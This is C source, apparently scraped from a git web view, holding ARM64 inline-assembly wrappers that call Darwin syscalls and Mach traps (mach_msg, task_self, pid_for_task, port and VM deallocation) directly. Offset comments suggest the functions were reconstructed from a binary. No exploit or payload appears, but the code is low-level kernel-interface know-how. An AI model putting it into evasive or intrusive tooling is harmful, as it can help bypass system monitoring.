int64_t e2_trap_guarded_write(uint64_t guard, uint64_t fd,
|
||||
uint64_t buf, uint64_t nbyte)
|
||||
{
|
||||
register uint64_t x0 __asm__("x0") = guard;
|
||||
register uint64_t x1 __asm__("x1") = fd;
|
||||
register uint64_t x2 __asm__("x2") = buf;
|
||||
register uint64_t x3 __asm__("x3") = nbyte;
|
||||
register uint64_t x16 __asm__("x16") = 0x169;
|
||||
|
||||
__asm__ volatile(
|
||||
"svc #0x80\n"
|
||||
"mov x1, xzr\n"
|
||||
"b.lo 1f\n"
|
||||
"mov x1, x0\n"
|
||||
"mov x0, #-1\n"
|
||||
"1:\n"
|
||||
: "+r"(x0), "+r"(x1)
|
||||
: "r"(x2), "r"(x3), "r"(x16)
|
||||
: "memory", "cc"
|
||||
);
|
||||
return (int64_t)x0;
|
||||
}
|
||||
|
||||
/* ── 0x6038: Mach trap -24 — mach_reply_port ─────────────────────── */
|
||||
mach_port_t e2_trap_mach_reply_port(void)
|
||||
{
|
||||
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-24);
|
||||
register uint64_t x0 __asm__("x0");
|
||||
|
||||
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
|
||||
return (mach_port_t)x0;
|
||||
}
|
||||
|
||||
/* ── 0x6044: Mach trap -26 — thread_self_trap ────────────────────── */
|
||||
mach_port_t e2_trap_thread_self(void)
|
||||
{
|
||||
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-26);
|
||||
register uint64_t x0 __asm__("x0");
|
||||
|
||||
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
|
||||
return (mach_port_t)x0;
|
||||
}
|
||||
|
||||
/* ── 0x6050: Mach trap -27 — task_self_trap ──────────────────────── */
|
||||
mach_port_t e2_trap_task_self(void)
|
||||
{
|
||||
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-27);
|
||||
register uint64_t x0 __asm__("x0");
|
||||
|
||||
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
|
||||
return (mach_port_t)x0;
|
||||
}
|
||||
|
||||
/* ── 0x605c: Mach trap -28 — host_self_trap ──────────────────────── */
|
||||
mach_port_t e2_trap_host_self(void)
|
||||
{
|
||||
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-28);
|
||||
register uint64_t x0 __asm__("x0");
|
||||
|
||||
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
|
||||
return (mach_port_t)x0;
|
||||
}
|
||||
|
||||
/* ── 0x6068: Mach trap -18 — _kernelrpc_mach_port_deallocate_trap ── */
|
||||
kern_return_t e2_trap_port_dealloc(mach_port_t task, mach_port_t port)
|
||||
{
|
||||
register uint64_t x0 __asm__("x0") = task;
|
||||
register uint64_t x1 __asm__("x1") = port;
|
||||
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-18);
|
||||
|
||||
__asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x1), "r"(x16) : "memory");
|
||||
return (kern_return_t)x0;
|
||||
}
|
||||
|
||||
/* ── 0x6074: Mach trap -31 — mach_msg_trap ───────────────────────── */
|
||||
kern_return_t e2_trap_mach_msg(void *msg, uint32_t option, uint32_t send_size,
|
||||
uint32_t rcv_size, mach_port_t rcv_name,
|
||||
uint32_t timeout, mach_port_t notify)
|
||||
{
|
||||
register uint64_t x0 __asm__("x0") = (uint64_t)msg;
|
||||
register uint64_t x1 __asm__("x1") = option;
|
||||
register uint64_t x2 __asm__("x2") = send_size;
|
||||
register uint64_t x3 __asm__("x3") = rcv_size;
|
||||
register uint64_t x4 __asm__("x4") = rcv_name;
|
||||
register uint64_t x5 __asm__("x5") = timeout;
|
||||
register uint64_t x6 __asm__("x6") = notify;
|
||||
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-31);
|
||||
|
||||
__asm__ volatile("svc #0x80"
|
||||
: "+r"(x0)
|
||||
: "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5), "r"(x6), "r"(x16)
|
||||
: "memory");
|
||||
return (kern_return_t)x0;
|
||||
}
|
||||
|
||||
/* ── 0x6080: Mach trap -47 — pid_for_task ────────────────────────── */
|
||||
int e2_trap_pid_for_task(mach_port_t task)
|
||||
{
|
||||
register uint64_t x0 __asm__("x0") = task;
|
||||
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-47);
|
||||
|
||||
__asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x16) : "memory");
|
||||
return (int)x0;
|
||||
}
|
||||
|
||||
/* ── 0x608c: Mach trap -12 — _kernelrpc_mach_vm_deallocate_trap ──── */
|
||||
kern_return_t e2_trap_vm_dealloc(mach_port_t task, uint64_t addr, uint64_t size)
|
||||
{
|
||||
register uint64_t x0 __asm__("x0") = task;
|
||||
register uint64_t x1 __asm__("x1") = addr;
|
||||
register uint64_t x2 __asm__("x2") = size;
|
||||
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-12);
|
||||
|
||||
__asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x16) : "memory");
|
||||
return (kern_return_t)x0;
|
||||
}
|
||||
|
||||
/* ── 0x6098: Mach trap -19 — _kernelrpc_mach_port_mod_refs_trap ──── */
|
||||
kern_return_t e2_trap_port_mod_refs(mach_port_t task, mach_port_t port,
|
||||
uint32_t right, int32_t delta)
|
||||
{
|
||||
register uint64_t x0 __asm__("x0") = task;
|
||||
register uint64_t x1 __asm__("x1") = port;
|
||||
register uint64_t x2 __asm__("x2") = right;
|
||||
register uint64_t x3 __asm__("x3") = (uint64_t)(int64_t)delta;
|
||||
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-19);
|
||||
|
||||
__asm__ volatile("svc #0x80"
|
||||
: "+r"(x0)
|
||||
: "r"(x1), "r"(x2), "r"(x3), "r"(x16)
|
||||
: "memory");
|
||||
return (kern_return_t)x0;
|
||||
}
|
||||
Reference in New Issue
Block a user